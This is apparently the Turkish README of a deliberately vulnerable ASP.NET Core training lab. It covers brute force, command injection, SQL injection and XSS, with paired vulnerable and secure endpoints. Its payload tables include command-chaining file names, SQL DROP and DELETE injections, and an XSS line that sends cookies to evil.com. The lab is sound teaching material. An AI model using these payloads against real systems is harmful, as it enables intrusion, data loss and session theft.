VulnerableApp; geliştiriciler, öğrenciler ve siber güvenlik meraklıları için hazırlanmış, ASP.NET Core MVC ve SQL Server tabanlı, gerçekçi ve modern bir web uygulama güvenliği laboratuvarıdır.
Amaç; Brute Force, Command Injection, SQL Injection ve XSS gibi yaygın web zafiyetlerini hem açık (vulnerable) hem de güvenli (secure) kod örnekleriyle canlı olarak incelemenizi, saldırı simülasyonları yapmanızı ve güvenlik farkındalığı kazanmanızı sağlamaktır.
Her saldırı tipi için:
- 🔎 Kod içi açıklamalar ve
- 🛠️ Saldırı araçları (ör: Python ile brute force otomasyonu) sunulmaktadır.
Notlar:
- Bu proje, Windows 11 ortamında başarıyla test edilmiştir.
- Şu an proje erken geliştirme (meta/beta) aşamasındadır ve aktif olarak geliştirilmektedir.
- Henüz Linux veya diğer işletim sistemlerinde kapsamlı testler yapılmamıştır; ilerleyen süreçte platform bağımsızlığı artırılacaktır.
- Herkes projeye katkıda bulunabilir! Hatalar, iyileştirmeler veya yeni özellikler için PR (Pull Request) ve Issue açmaktan çekinmeyin.
VulnerableApp/
├─ BruteForceTools/
│ ├─ bruteforce_login.py # Brute force saldırı scripti (Selenium)
│ ├─ passwords.txt
├─ Controllers/
│ ├─ BruteForce/BruteForceController.cs
│ ├─ CommandInjection/CommandInjectionController.cs
│ ├─ SqlInjection/ProductSqlInjectionController.cs
│ └─ XssController/XssDemoController.cs
├─ Models/
├─ Views/
├─ Data/
├─ TestFiles/ # Komut enjeksiyonu için örnek dosyalar
├─ wwwroot/
├─ appsettings.json
└─ Program.cs
Araç | Sürüm | Açıklama |
---|---|---|
.NET | 6.0+ | Download |
SQL Server | 2019+ | Local/Remote, Express/Full |
Python | 3.x | (BruteForceTools için, opsiyonel) |
CREATE TABLE Products (
Id INT IDENTITY(1,1) PRIMARY KEY,
Name NVARCHAR(100) NOT NULL,
Description NVARCHAR(255) NULL
);
CREATE TABLE Users (
Id INT IDENTITY(1,1) PRIMARY KEY,
Username NVARCHAR(50) NOT NULL,
Password NVARCHAR(50) NOT NULL
);
CREATE TABLE BlockedIPs (
Id INT IDENTITY(1,1) PRIMARY KEY,
IP NVARCHAR(40) NOT NULL,
BlockedAt DATETIME NOT NULL,
BlockExpiresAt DATETIME NULL
);
INSERT INTO Products (Name, Description) VALUES
('Laptop', 'İnce ve hafif bilgisayar'),
('Telefon', 'Akıllı cep telefonu');
INSERT INTO Users (Username, Password) VALUES
('admin', '123'),
('bahar', 'test123');
Bağlantı dizesi:
{
"ConnectionStrings": {
"DefaultConnection": "Server=localhost;Database=VulnerableDB;User Id=sa;Password=YourPassword;TrustServerCertificate=True"
}
}
dotnet build
dotnet run
Tarayıcıda: https://localhost:5215
Her saldırı tipi için zafiyetli ve güvenli uç noktalar ile, kodun içinde detaylı açıklamalar mevcuttur.
Aşağıda her saldırının mantığı, saldırı örnekleri ve payload tablosu ile birlikte listelenmiştir:
Özellik | Açık (Vulnerable) | Güvenli (Secure) |
---|---|---|
Endpoint | /BruteForce/VulnerableLogin |
/BruteForce/SecureLogin |
Koruma | Yok, sınırsız parola deneme | IP tabanlı deneme limiti, bloklama |
Senaryo | Her istekte parola denenebilir | 10 sn'de 3 yanlışta IP 10 dk blok |
Python ile Otomatik Brute Force:
cd BruteForceTools
pip install selenium webdriver-manager
python bruteforce_login.py
passwords.txt
içeriğini düzenleyerek kendi parola listenizi oluşturabilirsiniz.
Özellik | Açık (Vulnerable) | Güvenli (Secure) |
---|---|---|
Endpoint | /CommandInjection/VulnerableExecute?fileName=... |
/CommandInjection/SecureExecute?fileName=... |
Koruma | Yok, input doğrudan komuta eklenir | Yalnızca izinli dosya isimleri |
Senaryo | Komut zinciriyle işletim sistemi komutu çalıştırılır | Sadece belirli dosya okunabilir |
Örnek Komut Injection Payload'ları:
Amaç | Payload (fileName parametresi) |
---|---|
Dosya listele | sample.txt & dir |
Mevcut kullanıcı | sample.txt & whoami |
Hack dosyası oku | hack.txt && type hack.txt |
Özellik | Açık (Vulnerable) | Güvenli (Secure) |
---|---|---|
Endpoint | /ProductSqlInjection/VulnerableSearch?q=... |
/ProductSqlInjection/SecureSearch?q=... |
Koruma | Yok, input doğrudan SQL sorgusuna eklenir | Parametreli sorgu, ek filtreleme |
Senaryo | SQL enjeksiyonu ile veri silme/ekleme/okuma | Zararlı input algılanırsa bloklanır |
Örnek SQL Injection Payload'ları:
Amaç | Payload |
---|---|
Tüm kayıtları listele | ' OR 1=1 -- |
Tabloyu sil (DROP) | '; DROP TABLE Products; -- |
Tüm ürünleri sil | '; DELETE FROM Products; -- |
Belirli ürünü sil | '; DELETE FROM Products WHERE Id=1; -- |
Yeni ürün ekle | '; INSERT INTO Products (Name, Description) VALUES ('HACKED','XSS'); -- |
⚠️ UYARI:
Zafiyetli endpoint'te tablo ve veri kaybı yaşanabilir!
Lütfen test dışında kullanmayın, veritabanınızı yedekleyin.
Özellik | Açık (Vulnerable) | Güvenli (Secure) |
---|---|---|
Endpoint | /XssDemo/Vulnerable |
/XssDemo/Secure |
Koruma | Yok, input filtrelenmez | Basit script/event kontrolü |
Senaryo | HTML/JS payload doğrudan çıkar | Script içeren input engellenir |
Örnek XSS Payload'ları:
Amaç | Payload |
---|---|
Alert kutusu | <script>alert('XSS')</script> |
Event tabanlı | <img src=x onerror=alert('XSS')> |
Cookie çalma | <script>fetch('http://evil.com?c='+document.cookie)</script> |
UYARI:
Bu proje, bilinçli güvenlik açıkları barındırır ve sadece eğitim/test ortamı için tasarlanmıştır.
Gerçek sistemlerde, başka uygulamalarda veya izinsiz olarak saldırı denemeleri yapmak etik ve yasal değildir.
- Her controller ve view dosyasında, hangi kodun neden zafiyetli/güvenli olduğu, nasıl istismar edilebileceği ve nasıl önleneceği yorum satırlarında detaylı olarak açıklanmıştır.
- Tüm saldırı senaryolarında kendi payload’larınızı, test dosyalarınızı veya parola listenizi özgürce ekleyip çıkarabilirsiniz.
- Silme/ekleme gibi işlemler kalıcı sonuç doğurabilir, testten sonra veritabanınızı kolayca sıfırlayabilirsiniz.
- Proje aktif olarak geliştirilmektedir ve katkılara tamamen açıktır!
PR, Issue veya önerilerinizi bekliyoruz.
Bilgi | |
---|---|
👤 | Ahmed Bahar |
✉️ | [email protected] |
💼 | |
🐙 | GitHub |
MIT License • Yalnızca eğitim ve kişisel test amaçlı kullanım içindir.